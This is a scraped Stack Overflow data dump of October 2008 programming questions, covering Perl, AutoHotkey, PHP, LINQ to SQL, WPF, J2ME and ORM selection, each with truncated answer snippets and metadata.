<p>I have some auto-generated code which effectively writes out the following in a bunch of different places in some code:</p> <pre><code>no warnings 'uninitialized'; local %ENV = %ENV; local $/ = $/; local @INC = @INC; local %INC = %INC; local $_ = $_; local $| = $|; local %SIG = %SIG; use warnings 'uninitialized'; </code></pre> <p>When auto-generating code, some argue that it's not strictly necessary that the code be "beautiful", but I'd like to pull that out into a subroutine. However, that would localize those variables in that subroutine. Is there a way to localize those variables in the calling stack frame?</p> <p><strong>Update</strong>: In a similar vein, it would be nice to be able to run eval in a higher stack frame. I think Python already has this. It would be nice if Perl did, too.</p>
[ { "answer_id": 200944, "author": "Adam Bellaire", "author_id": 21632, "author_profile": "https://Stackoverflow.com/users/21632", "pm_score": 3, "selected": false, "text": "local" }, { "answer_id": 201243, "author": "hexten", "author_id": 10032, "author_profile": "http...
2008/10/14
[ "https://Stackoverflow.com/questions/200578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8003/" ]
200,587
<p>I'm trying to set up <a href="http://www.autohotkey.com/" rel="nofollow noreferrer">AutoHotkey</a> macros for some common tasks, and I want the hotkeys to mimic Visual Studio's "two-step shortcut" behaviour - i.e. pressing <kbd>Ctrl</kbd>-<kbd>K</kbd> will enable "macro mode"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode.</p> <p>Example - when typing a filename, I want to be able to insert today's date by tapping <kbd>Ctrl</kbd>-<kbd>K</kbd>, then pressing <kbd>D</kbd>.</p> <p>Does anyone have a good example of a stateful AutoHotkey script that behaves like this?</p>
[ { "answer_id": 201981, "author": "Andres", "author_id": 1815, "author_profile": "https://Stackoverflow.com/users/1815", "pm_score": 4, "selected": true, "text": "^k::\nInput Key, L1\nFormatTime, Time, , yyyy-MM-dd\nif Key = d\n Send %Time%\nreturn\n" }, { "answer_id": 204058, ...
2008/10/14
[ "https://Stackoverflow.com/questions/200587", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5017/" ]
200,599
<p>I am programming a website in which users will have a number of settings, such as their choice of colour scheme, etc. I'm happy to store these as plain text files, and security is not an issue.</p> <p>The way I currently see it is: there is a dictionary, where all the keys are users and the values are dictionaries with the users' settings in them.</p> <p>For example, userdb["bob"]["colour_scheme"] would have the value "blue".</p> <p>What is the best way to store it on file? Pickling the dictionary?</p> <p>Are there better ways of doing what I am trying to do?</p>
[ { "answer_id": 200621, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 0, "selected": false, "text": "repr(dictionary)" }, { "answer_id": 200630, "author": "S.Lott", "author_id": 10661, "author_profile":...
2008/10/14
[ "https://Stackoverflow.com/questions/200599", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11324/" ]
200,602
<p>What is the best way to count the time between two datetime values fetched from MySQL when I need to count only the time between hours 08:00:00-16:00:00.</p> <p>For example if I have values 2008-10-13 18:00:00 and 2008-10-14 10:00:00 the time difference should be 02:00:00.</p> <p>Can I do it with SQL or what is the best way to do it? I'm building a website and using PHP.</p> <p>Thank you for your answers.</p> <p>EDIT: The exact thing is that I'm trying to count the time a "ticket" has been in a specific state during working hours. The time could be like a couple weeks.</p> <p>EDIT2: I have no problems counting the actual time difference, but substracting that off-time, 00:00:00-08:00:00 and 16:00:00-00:00:00 per day.</p> <p>-Samuli</p>
[ { "answer_id": 200606, "author": "Chris S", "author_id": 21574, "author_profile": "https://Stackoverflow.com/users/21574", "pm_score": 3, "selected": false, "text": "mysql> SELECT TIMEDIFF('2000:01:01 00:00:00',\n -> '2000:01:01 00:00:00.000001');\n -> '-00:00:0...
2008/10/14
[ "https://Stackoverflow.com/questions/200602", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,609
<p>Can you recommend a Java library for reading, parsing, validating and mapping rows in a comma separated value (CSV) file to Java value objects (JavaBeans)?</p>
[ { "answer_id": 200656, "author": "Vihung", "author_id": 15452, "author_profile": "https://Stackoverflow.com/users/15452", "pm_score": 2, "selected": false, "text": " ColumnPositionMappingStrategy strat = new ColumnPositionMappingStrategy();\n strat.setType(YourOrderBean.class);\n Stri...
2008/10/14
[ "https://Stackoverflow.com/questions/200609", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15452/" ]
200,617
<p>If I have a <code>Linq</code> to <code>SQL</code> expression like this:</p> <pre><code> from subscription in dbContext.Subscriptions where subscription.Expires &gt; DateTime.Now select subscription </code></pre> <p>I want this to to use the SQL Servers <code>GETDATE()</code> function instead of the time of the machine running the <code>C#</code> program.</p> <p>The next question would be how to translate this:</p> <pre><code>DateTime.Now.AddDays(2) </code></pre> <p>to this:</p> <pre><code>DATEADD(dd, 2, GETDATE()) </code></pre>
[ { "answer_id": 200961, "author": "Panos", "author_id": 8049, "author_profile": "https://Stackoverflow.com/users/8049", "pm_score": 3, "selected": false, "text": "public partial class YourDataContext\n{\n public DateTime GetDate()\n {\n return ExecuteQuery<DateTime>(\"SELECT GETDATE(...
2008/10/14
[ "https://Stackoverflow.com/questions/200617", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8547/" ]
200,640
<p>Here's the information <a href="http://www.php.net/manual/en/language.basic-syntax.php" rel="noreferrer">according to the official documentation</a>:</p> <blockquote> <p>There are four different pairs of opening and closing tags which can be used in PHP. Two of those, <code>&lt;?php ?&gt;</code> and <code>&lt;script language="php"&gt; &lt;/script&gt;</code>, are always available. The other two are short tags and ASP style tags, and can be turned on and off from the php.ini configuration file. As such, while some people find short tags and ASP style tags convenient, they are less portable, and <strong>generally not recommended</strong>.</p> </blockquote> <p>In my experience most servers <em>do</em> have short tags enabled. Typing</p> <pre><code>&lt;?= </code></pre> <p>is far more convenient than typing</p> <pre><code>&lt;?php echo </code></pre> <p>The programmers convenience is an important factor, so <strong>why</strong> are they not recommended?</p>
[ { "answer_id": 200650, "author": "ConroyP", "author_id": 2287, "author_profile": "https://Stackoverflow.com/users/2287", "pm_score": 4, "selected": false, "text": "<?php" }, { "answer_id": 200666, "author": "Oli", "author_id": 12870, "author_profile": "https://Stackov...
2008/10/14
[ "https://Stackoverflow.com/questions/200640", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1896/" ]
200,662
<p>Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page?</p> <p>On the server we have access to PHP.</p>
[ { "answer_id": 200672, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 3, "selected": true, "text": "<html>\n <body>\n <image here/>\n <div id=\"content\" style=\"display:none;\" >\n\n </div>\n <script type...
2008/10/14
[ "https://Stackoverflow.com/questions/200662", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4639/" ]
200,663
<p>I need a way to get the elapsed time (wall-clock time) since a program started, in a way that is resilient to users meddling with the system clock.</p> <p>On windows, the non standard clock() implementation doesn't do the trick, as it appears to work just by calculating the difference with the time sampled at start up, so that I get negative values if I "move the clock hands back".</p> <p>On UNIX, clock/getrusage refer to system time, whereas using function such as gettimeofday to sample timestamps has the same problem as using clock on windows.</p> <p>I'm not really interested in precision, and I've hacked a solution by having a half a second resolution timer spinning in the background countering the clock skews when they happen (if the difference between the sampled time and the expected exceeds 1 second i use the expected timer for the new baseline) but I think there must be a better way.</p>
[ { "answer_id": 201651, "author": "shodanex", "author_id": 11589, "author_profile": "https://Stackoverflow.com/users/11589", "pm_score": 2, "selected": false, "text": "static void timer_thread(void * arg)\n{\n struct timespec delay;\n unsigned int msecond_delay = ((app_state...
2008/10/14
[ "https://Stackoverflow.com/questions/200663", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,676
<p>I want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C).</p> <pre><code>char buf[1000]; //bad coding unsigned __int64 l = 12345678; char t1[6] = "test1"; char t2[6] = "test2"; sprintf(buf, "%lli, %s, %s", l, t1, t2); </code></pre> <p>gives the result</p> <pre><code>12345678, (null), test1 </code></pre> <p>(watch that <code>test2</code> is not printed)</p> <p>and <code>l = 123456789012345</code> it gives an exception handle</p> <p>any suggestions?</p>
[ { "answer_id": 200696, "author": "gimel", "author_id": 6491, "author_profile": "https://Stackoverflow.com/users/6491", "pm_score": -1, "selected": false, "text": "additionaltext" }, { "answer_id": 200763, "author": "ChrisN", "author_id": 3853, "author_profile": "https...
2008/10/14
[ "https://Stackoverflow.com/questions/200676", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27800/" ]
200,686
<p>I'm having a quite complex model with many fields, <code>has_many</code> associations, images added by <code>image_column</code> etc...</p> <p>The New object will be added by a multi page form (8 steps) - How should I accomplish validation and propagation between those steps?</p> <p>I think <code>validation_group</code> could be useful for defining validations for each step, what about overall design?</p>
[ { "answer_id": 361120, "author": "Sarah Vessels", "author_id": 38743, "author_profile": "https://Stackoverflow.com/users/38743", "pm_score": 2, "selected": false, "text": "step_1" }, { "answer_id": 501847, "author": "Community", "author_id": -1, "author_profile": "htt...
2008/10/14
[ "https://Stackoverflow.com/questions/200686", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17405/" ]
200,691
<p>How can I use/display characters like ♥, ♦, ♣, or ♠ in Java/Eclipse?</p> <p>When I try to use them directly, e.g. in the source code, Eclipse cannot save the file.</p> <p>What can I do?</p> <p>Edit: How can I find the unicode escape sequence?</p>
[ { "answer_id": 200708, "author": "Joe Lencioni", "author_id": 18986, "author_profile": "https://Stackoverflow.com/users/18986", "pm_score": 6, "selected": true, "text": "♥ \\u2665\n♦ \\u2666\n♣ \\u2663\n♠ \\u2660\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200691", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12860/" ]
200,721
<p>I'm interested in compilers, interpreters and languages.</p> <p>What is the most interesting, but forgotten or unknown, language you know about? And more importantly, why? </p> <p>I'm interested both in compiled, interpreted and VM languages, but <em>not</em> esoteric languages like Whitespace or BF. <br>Open source would be a plus, of course, since I plan to study and hopefully learn from it.</p>
[ { "answer_id": 201084, "author": "Greg Mattes", "author_id": 13940, "author_profile": "https://Stackoverflow.com/users/13940", "pm_score": 1, "selected": false, "text": "COME FROM" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200721", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27204/" ]
200,724
<p>Is there a way to have XAML properties scale along with the size of the uielements they belong to?</p> <p>In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. </p> <p>It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size <em>and then</em> the scaletransform is applied. So I'm stuff with a sort of nonscalable control.</p> <p>I'm a bit new to WPF, so there might be a straightforward way to do this...</p>
[ { "answer_id": 200909, "author": "Enrico Campidoglio", "author_id": 26396, "author_profile": "https://Stackoverflow.com/users/26396", "pm_score": 2, "selected": true, "text": "<Button>\n <Button.Template>\n <ControlTemplate TargetType={x:Type Button}>\n <Border Width...
2008/10/14
[ "https://Stackoverflow.com/questions/200724", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6251/" ]
200,729
<p>An initial draft of requirements specification has been completed and now it is time to take stock of requirements, <a href="https://stackoverflow.com/questions/186716/when-reviewing-requirements-specification-what-deadly-sins-need-to-be-addressed">review the specification</a>. Part of this process is to make sure that there are no sizeable gaps in the specification. Needless to say that the gaps lead to highly inaccurate estimates, inevitable scope creep later in the project and ultimately to a death march.</p> <p><strong>What are the good, efficient techniques for pinpointing missing and implicit requirements?</strong></p> <ul> <li>This question is about practical techiniques, not general advice, principles or guidelines.</li> <li>Missing requirements is anything crucial for completeness of the product or service but not thought of or forgotten about,</li> <li>Implicit requirements are something that users or customers naturally assume is going to be a standard part of the software without having to be explicitly asked for.</li> </ul> <p><sub>I am happy to re-visit accepted answer, as long as someone submits better, more comprehensive solution.</sub></p>
[ { "answer_id": 245832, "author": "Steven A. Lowe", "author_id": 9345, "author_profile": "https://Stackoverflow.com/users/9345", "pm_score": 3, "selected": true, "text": "acquisition --> stewardship --> disposal\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200729", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22088/" ]
200,737
<p>I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this.</p> <p>on Linux platforms i can do it by using following way.</p> <pre><code>char exepath[1024] = {0}; char procid[1024] = {0}; char exelink[1024] = {0}; sprintf(procid, "%u", getpid()); strcpy(exelink, "/proc/"); strcat(exelink, procid); strcat(exelink, "/exe"); readlink(exelink, exepath, sizeof(exepath)); </code></pre> <p>Here exepath gives us the full path of the executable.</p> <p>Similarly for windows we do it using </p> <pre><code>GetModuleFileName(NULL, exepath, sizeof(exepath)); /* get fullpath of the service */ </code></pre> <p>Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.</p>
[ { "answer_id": 201248, "author": "Caleb Huitt - cjhuitt", "author_id": 9876, "author_profile": "https://Stackoverflow.com/users/9876", "pm_score": 0, "selected": false, "text": "int main( int argc, char** argv )\n{\n string full_prog_path = argv[0];\n if ( full_prog_path[0] == \"/\" )\...
2008/10/14
[ "https://Stackoverflow.com/questions/200737", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27804/" ]
200,738
<p>Using the PHP <a href="http://www.php.net/pack" rel="noreferrer">pack()</a> function, I have converted a string into a binary hex representation:</p> <pre><code>$string = md5(time); // 32 character length $packed = pack('H*', $string); </code></pre> <p>The H* formatting means "Hex string, high nibble first".</p> <p>To unpack this in PHP, I would simply use the <a href="http://www.php.net/unpack" rel="noreferrer">unpack()</a> function with the H* format flag.</p> <p>How would I unpack this data in Python?</p>
[ { "answer_id": 200761, "author": "MvdD", "author_id": 18044, "author_profile": "https://Stackoverflow.com/users/18044", "pm_score": 3, "selected": false, "text": ">>> from struct import *\n>>> pack('hhl', 1, 2, 3)\n'\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x03'\n>>> unpack('hhl', '\\x00\\x01...
2008/10/14
[ "https://Stackoverflow.com/questions/200738", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2183/" ]
200,742
<p>I have the following line of text</p> <pre><code>Reference=*\G{7B35DDAC-FFE2-4435-8A15-CF5C70F23459}#1.0#0#..\..\..\bin\App Components\AcmeFormEngine.dll#ACME Form Engine </code></pre> <p>and wish to grab the following as two separate capture groups:</p> <pre><code>AcmeFormEngine.dll ACME Form Engine </code></pre> <p>Can anyone help?</p>
[ { "answer_id": 200758, "author": "Bartek Szabat", "author_id": 23774, "author_profile": "https://Stackoverflow.com/users/23774", "pm_score": 1, "selected": false, "text": " using System.Text.RegularExpressions;\n\n Regex regex = new Regex(\n @\"\\\\(?<filename>[\\w\\.]+)\\#(?<co...
2008/10/14
[ "https://Stackoverflow.com/questions/200742", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,743
<p>I need a WiX 3 script to display to display only 2 dialogs: Welcome &amp; Completed. Thats it no need for EULA, folder selection etc. All help appreciated.</p>
[ { "answer_id": 259685, "author": "CheGueVerra", "author_id": 17787, "author_profile": "https://Stackoverflow.com/users/17787", "pm_score": 7, "selected": true, "text": "<UI Id=\"UserInterface\">\n <Property Id=\"WIXUI_INSTALLDIR\" Value=\"TARGETDIR\" />\n <Property Id=\"WixUI_Mode\" Va...
2008/10/14
[ "https://Stackoverflow.com/questions/200743", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22941/" ]
200,746
<p>How do I split strings in J2ME in an effective way?</p> <p>There is a <a href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/StringTokenizer.html" rel="noreferrer"><code>StringTokenizer</code></a> or <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/lang/String.html#split%28java.lang.String%29" rel="noreferrer"><code>String.split(String regex)</code></a> in the standard edition (J2SE), but they are absent in the micro edition (J2ME, MIDP).</p>
[ { "answer_id": 200760, "author": "Guido", "author_id": 12388, "author_profile": "https://Stackoverflow.com/users/12388", "pm_score": 2, "selected": false, "text": "String.indexOf()" }, { "answer_id": 200798, "author": "Rob Bell", "author_id": 2179408, "author_profile"...
2008/10/14
[ "https://Stackoverflow.com/questions/200746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3713/" ]
200,755
<p>In a LINQ to SQL class, why are the properties that are created from the foreign keys <code>EntitySet</code> objects, which implement <code>IEnumerable</code>, where as the objects on the <code>DataContext</code> are <code>Table</code> objects which implement <code>IQueryable</code>?</p> <p><strong>EDIT:</strong> To clarify, here is an example that illustrates what I'm trying to understand. This example:</p> <pre><code>ctx.Matches.Where(x =&gt; x.MatchID == 1).Single() .MatchPlayers.Max(x =&gt; x.Score); </code></pre> <p>hits the database twice where as:</p> <pre><code>ctx.MatchPlayers.Where(x =&gt; x.MatchID == 1) .Max(x =&gt; x.Score); </code></pre> <p>only runs 1 query. Here are the traces:</p> <pre><code>exec sp_executesql N'SELECT [t0].[MatchID], [t0].[Date] FROM [dbo].[Matches] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go exec sp_executesql N'SELECT [t0].[MatchID], [t0].[PlayerID], [t0].[Score] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go </code></pre> <p>and</p> <pre><code>exec sp_executesql N'SELECT MAX([t0].[Score]) AS [value] FROM [dbo].[MatchPlayers] AS [t0] WHERE [t0].[MatchID] = @p0',N'@p0 int',@p0=1 go </code></pre> <p>which also shows that, even worse, the max is done at the C# level rather than in the database.</p> <p>I know that the reason this happens is the difference between <code>IQueryable</code>s and <code>IEnumerable</code>s, so why doesn't the <code>MatchPlayers</code> object in the first example implement the <code>IQueryable</code> interface to get the same benefits as the latter example.</p>
[ { "answer_id": 201667, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 2, "selected": false, "text": "ctx.Matches.Where(x => x.MatchID == 1).Single()\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200755", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27782/" ]
200,757
<p>Our policy when delivering a new version is to create a branch in our VCS and handle it to our QA team. When the latter gives the green light, we tag and release our product. The branch is kept to receive (only) bug fixes so that we can create technical releases. Those bug fixes are subsequently merged on the trunk.</p> <p>During this time, the trunk sees the main development work, and is potentially subject to refactoring changes.</p> <p>The issue is that there is a tension between the need to have a stable trunk (so that the merge of bug fixes succeed -- it usually can't if the code has been e.g. extracted to another method, or moved to another class) and the need to refactor it when introducing new features. </p> <p>The policy in our place is to not do any refactoring before enough time has passed and the branch is stable enough. When this is the case, one can start doing refactoring changes on the trunk, and bug-fixes are to be manually committed on both the trunk and the branch.</p> <p>But this means that developpers must wait quite some time before committing on the trunk any refactoring change, because this could break the subsequent merge from the branch to the trunk. And having to manually port bugs from the branch to the trunk is painful. It seems to me that this hampers development...</p> <p>How do you handle this tension?</p> <p>Thanks.</p>
[ { "answer_id": 583650, "author": "Jonik", "author_id": 56285, "author_profile": "https://Stackoverflow.com/users/56285", "pm_score": 3, "selected": false, "text": "svn merge --reintegrate" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200757", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4177/" ]
200,785
<p>When creating a new object that is mapped to one of my SQL Server tables, LINQ inserts a new record into the table when I call SubmitChanges. I want to prevent this, but still need my new object.</p> <p>I know about the custom methods, but is there anyway to disable this behaviour so that it just updates existing records and never inserts new records, regardless of if I've called <code>MyTableClass myObject = new MyTableClass()</code> or not.</p> <p>Thanks.</p>
[ { "answer_id": 200809, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "partial class DataClasses1DataContext\n{\n public override void SubmitChanges(System.Data.Linq.ConflictMode failur...
2008/10/14
[ "https://Stackoverflow.com/questions/200785", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11989/" ]
200,810
<p>I'm trying to create an access control system. </p> <p>Here's a stripped down example of what the table I'm trying to control access to looks like:</p> <pre><code>things table: id group_id name 1 1 thing 1 2 1 thing 2 3 1 thing 3 4 1 thing 4 5 2 thing 5 </code></pre> <p>And the access control table looks like this:</p> <pre><code>access table: user_id type object_id access 1 group 1 50 1 thing 1 10 1 thing 2 100 </code></pre> <p>Access can be granted either by specifying the id of the 'thing' directly, or granted for an entire group of things by specifying a group id. In the above example, user 1 has been granted an access level of 50 to group 1, which should apply unless there are any other rules granting more specific access to an individual thing.</p> <p>I need a query that returns a list of things (ids only is okay) along with the access level for a specific user. So using the example above I'd want something like this for user id 1:</p> <pre><code>desired result: thing_id access 1 10 2 100 3 50 (things 3 and 4 have no specific access rule, 4 50 so this '50' is from the group rule) 5 (thing 5 has no rules at all, so although I still want it in the output, there's no access level for it) </code></pre> <p>The closest I can come up with is this:</p> <pre><code>SELECT * FROM things LEFT JOIN access ON user_id = 1 AND ( (access.type = 'group' AND access.object_id = things.group_id) OR (access.type = 'thing' AND access.object_id = things.id) ) </code></pre> <p>But that returns multiple rows, when I only want one for each row in the 'things' table. I'm not sure how to get down to a single row for each 'thing', or how to prioritise 'thing' rules over 'group' rules.</p> <p>If it helps, the database I'm using is PostgreSQL.</p> <p>Please feel free to leave a comment if there's any information I've missed out. </p> <p>Thanks in advance!</p>
[ { "answer_id": 200851, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 2, "selected": true, "text": "select thing.*, coalesce ( ( select access\n from access\n w...
2008/10/14
[ "https://Stackoverflow.com/questions/200810", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17121/" ]
200,813
<p>I'm creating a bunch of migrations, some of which are standard "create table" or "modify table" migrations, and some of which modify data. I'm using my actual ActiveRecord models to modify the data, a la:</p> <pre><code>Blog.all.each do |blog| update_some_blog_attributes_to_match_new_schema end </code></pre> <p>The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table. Is there a way to reload the classes and their attribute definitions so I can reuse them?</p>
[ { "answer_id": 200815, "author": "James A. Rosen", "author_id": 1190, "author_profile": "https://Stackoverflow.com/users/1190", "pm_score": 8, "selected": true, "text": "Blog.reset_column_information\n" }, { "answer_id": 200889, "author": "Jon Smock", "author_id": 25538, ...
2008/10/14
[ "https://Stackoverflow.com/questions/200813", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1190/" ]
200,822
<p>I've been trying to track this one for literally a month now without any success. I have this piece of code on an car advertising website which basically allows thumbnails to rotate in search results given that a car has multiple pictures. You can see it in action at the following:</p> <blockquote> <p><a href="http://www.abcavendre.com/4506691919/" rel="noreferrer" title="Inventaire"><code>http://www.abcavendre.com/4506691919/</code></a></p> </blockquote> <p>It is built on the <a href="http://www.mootools.net/" rel="noreferrer" title="Mootools">mootools 1.2</a> framework. The problem is that this script, under Firefox 3, consumes a rather large amount of memory overtime when a page is full of those rotating pictures, such as this inventory page:</p> <blockquote> <p><a href="http://www.abcavendre.com/Vitrine/Israel_Huttman/" rel="noreferrer" title="Inventaire"><code>http://www.abcavendre.com/Vitrine/Israel_Huttman/</code></a></p> </blockquote> <p>You can see the source of the script in question here:</p> <blockquote> <p><a href="http://www.abcavendre.com/scripts/showcase_small.js" rel="noreferrer" title="Javascript Source"><code>http://www.abcavendre.com/scripts/showcase_small.js</code></a></p> </blockquote> <p>Any ideas as to what is causing the memory leak? The weird thing is this code behaves properly under IE7.</p>
[ { "answer_id": 200865, "author": "Daniel Silveira", "author_id": 1100, "author_profile": "https://Stackoverflow.com/users/1100", "pm_score": 0, "selected": false, "text": " ...\n\n if (ads.length > 0)\n {\n this.imagesFx = new Fx.Elements(elements,\n {\n ...
2008/10/14
[ "https://Stackoverflow.com/questions/200822", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26210/" ]
200,839
<p>When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources </p> <pre><code>&lt;Rectangle Fill="{StaticResource MyBrush}" /&gt; </code></pre> <p>or as a DynamicResource</p> <pre><code>&lt;ItemsControl ItemTemplate="{DynamicResource MyItemTemplate}" /&gt; </code></pre> <p>Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why:</p> <ul> <li>What is the main difference. Like memory or performance implications</li> <li>Are there rules in WPF like "brushes are always static" and "templates are always dynamic" etc.?</li> </ul> <p>I <strong>assume</strong> the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.</p>
[ { "answer_id": 4559797, "author": "Akshay J", "author_id": 264136, "author_profile": "https://Stackoverflow.com/users/264136", "pm_score": 7, "selected": false, "text": "<Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/pre...
2008/10/14
[ "https://Stackoverflow.com/questions/200839", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8521/" ]
200,842
<p>We're creating a Interaction design pattern website for a class. We've been using google docs to create the patterns list during the classes, sharing it with the teacher for evaluation.</p> <p>So the environment is this:</p> <ul> <li>We've been able to fetch a single image from each presentation we want to display, such as: <a href="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" rel="nofollow noreferrer">http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b</a></li> <li><p>We've created an RSS feed for cooliris to open: (small example from it):</p> <p>&lt;.item></p> <pre><code>&lt;.title&gt;e7_pattern_7.78&lt;./title&gt; &lt;.link&gt;http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b&lt;./link&gt; &lt;.guid&gt;dd2dpzk6_164zcwm3jgv_b&lt;./guid&gt; &lt;.media:thumbnail url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" /&gt; &lt;.media:content url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" type="image/png" /&gt; </code></pre> <p>&lt;./item></p></li> </ul> <p>Sorry for the points in the middle of the tag is only for stackoverflow not to filter it.</p> <p>So the problem is the following, the rss works correctly, as the cooliris opens all viewports for all images. But both the thumbnail and content remain black for all the pictures.</p> <p>If you try to open them by the above url you can download them, with the type="image/png" if should work for piclens to open it.</p> <p>Anyone got a sugestion or idea why we can't access the images from google docs via cooliris ?</p>
[ { "answer_id": 4559797, "author": "Akshay J", "author_id": 264136, "author_profile": "https://Stackoverflow.com/users/264136", "pm_score": 7, "selected": false, "text": "<Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/pre...
2008/10/14
[ "https://Stackoverflow.com/questions/200842", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26004/" ]
200,847
<p>I'm trying to decide on the best strategy for accessing the database. I understand that this is a generic question and there's no a single good answer, but I will provide some guidelines on what I'm looking for. The last few years we have been using our own persistence framework, that although limited has served as well. However it needs some major improvements and I'm wondering if I should go that way or use one of the existing frameworks. The criteria that I'm looking for, in order of importance are:</p> <ol> <li><p>Client code should work with clean objects, width no database knowledge. When using our custom framework the client code looks like:</p> <p>SessionManager session = new SessionManager(); Order order = session.CreateEntity(); order.Date = DateTime.Now; // Set other properties OrderDetail detail = order.AddOrderDetail(); detail.Product = product; // Other properties</p> <p>// Commit all changes now session.Commit();</p></li> <li><p>Should as simple as possible and not "too flexible". We need a single way to do most things.</p></li> <li>Should have good support for object-oriented programming. Should handle one-to-many and many-to-many relations, should handle inheritance, support for lazy loading.</li> <li>Configuration is preferred to be XML based.</li> </ol> <p>With my current knowledge I see these options:</p> <ol> <li>Improve our current framework - Problem is that it needs a good deal of effort.</li> <li>ADO.NET Entity Framework - Don't have a good understanding, but seems too complicated and has bad reviews.</li> <li>LINQ to SQL - Does not have good handling of object-oriented practices.</li> <li>nHibernate - Seems a good option, but some users report too many archaic errors.</li> <li>SubSonic - From a short introduction, it seems too flexible. I do not want that.</li> </ol> <p>What will you suggest?</p> <p><strong>EDIT:</strong></p> <p>Thank you Craig for the elaborate answer. I think it will help more if I give more details about our custom framework. I'm looking for something similar. This is how our custom framework works:</p> <ol> <li>It is based on DataSets, so the first thing you do is configure the DataSets and write queries you need there.</li> <li>You create a XML configuration file that specifies how DataSet tables map to objects and also specify associations between them (support for all types of associations). 3.A custom tool parse the XML configuration and generate the necessary code. 4.Generated classes inherit from a common base class.</li> </ol> <p>To be compatible with our framework the database must meet these criteria:</p> <ol> <li>Each table should have a single column as primary key. </li> <li>All tables must have a primary key of the same data type generated on the client.</li> <li>To handle inheritance only single table inheritance is supported. Also the XML file, almost always offers a single way to achieve something. </li> </ol> <p>What we want to support now is:</p> <ul> <li>Remove the dependency from DataSets. SQL code should be generated automatically but the framework should NOT generate the schema. I want to manually control the DB schema.</li> <li>More robust support for inheritance hierarchies.</li> <li>Optional integration with LINQ.</li> </ul> <p>I hope it is clearer now what I'm looking for.</p>
[ { "answer_id": 201086, "author": "Petros", "author_id": 2812, "author_profile": "https://Stackoverflow.com/users/2812", "pm_score": 0, "selected": false, "text": "using (UnitOfWork uow = new UnitOfWork())\n{\n Order order = new Order(uow);\n order.Date = DateTime.Now();\n uow.CommitCh...
2008/10/14
[ "https://Stackoverflow.com/questions/200847", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24065/" ]
200,857
